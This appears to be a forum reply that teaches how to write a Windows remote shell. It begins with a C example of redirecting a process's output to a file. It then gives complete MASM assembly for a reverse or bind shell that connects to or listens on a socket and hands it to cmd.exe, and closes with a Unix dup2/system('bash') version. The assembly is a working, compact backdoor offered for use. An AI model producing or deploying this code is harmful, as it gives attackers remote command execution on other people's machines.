I think the best way to describe it would be in C, redirecting output to a file using CreateProcess(follow the comments):
#include <windows.h>
int main(void)
{
HANDLE hFile;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
SECURITY_ATTRIBUTES sa;
// required for our file
memset(&sa, 0, sizeof(sa));
sa.bInheritHandle = TRUE;
// Create our file, return HANDLE
hFile = CreateFile(
"out.txt",
GENERIC_WRITE,
FILE_SHARE_WRITE,
&sa,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
// fill the process STARTUPINFO with our handles
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES;
// the important part:
sinfo.hStdOutput = hFile;
sinfo.hStdError = hFile;
// now a new process, with output to hFile
CreateProcess(
NULL,
"cmd.exe /C echo.hello world",
NULL,
NULL,
TRUE,
0,
NULL,
NULL,
&sinfo,
&pinfo);
// cleanup
return 0;
}
After you run, you should see a file "out.txt" containing "hello world". Basically what I did with the socket.
About the bind shell, it's not much harder in C. It's the difference between "connect" & "bind; listen; loop{accept;}"..
This should work for both. Also added a macro "runshell", which should show you the "shell" part of it:
.686
include \masm32\include\masm32rt.inc
include \masm32\include\ws2_32.inc
includelib \masm32\lib\ws2_32.lib
; 127.0.0.1:1111
RHOST equ 0100007fh
RPORT equ 5704h
; uncomment for bind shell
;LPORT equ 5704h
.data
cmd byte "cmd",0
.data?
WSAd WSADATA<>
sin sockaddr_in<>
sinfo STARTUPINFO<>
pinfo PROCESS_INFORMATION<>
.code
runshell macro sock
mov sinfo.hStdInput, sock
mov sinfo.hStdOutput, sock
mov sinfo.hStdError, sock
invoke CreateProcess, NULL, addr cmd, NULL, NULL, TRUE, 0, NULL, NULL, addr sinfo, addr pinfo
endm
start:
mov sinfo.cb, sizeof STARTUPINFO
mov sinfo.dwFlags, 100h
invoke WSAStartup, 257, addr WSAd
invoke WSASocket, AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0
mov edi, eax
mov sin.sin_family, AF_INET
ifdef LPORT
mov sin.sin_port, LPORT
mov sin.sin_addr, 0
invoke bind, edi, addr sin, sizeof sockaddr_in
invoke listen, edi, 1
@@loop:
invoke WSAAccept, edi, NULL, 0, NULL, NULL
runshell eax
jmp @@loop
else
mov sin.sin_port, RPORT
mov sin.sin_addr, RHOST
invoke connect, edi, addr sin, sizeof sockaddr_in
runshell edi
endif
invoke ExitProcess, 0
end start
Once again 2kB when stripped. MASM is pretty easy to code when using WinAPI.
It might also be easier to visualize it's UNIX counterpart:
// connect()/accept() socket
dup2(sock_fd, fileno(stdin));
dup2(sock_fd, fileno(stdout));
dup2(sock_fd, fileno(stderr));
// or just:
// for(i = 0; i <= 2; i++) dup2(sock_fd, i);
/*
At this point the socket(remote netcat client/server) controls our stdin, stdout, stderr.
So to have a remote shell we simply need to:
*/
system("bash");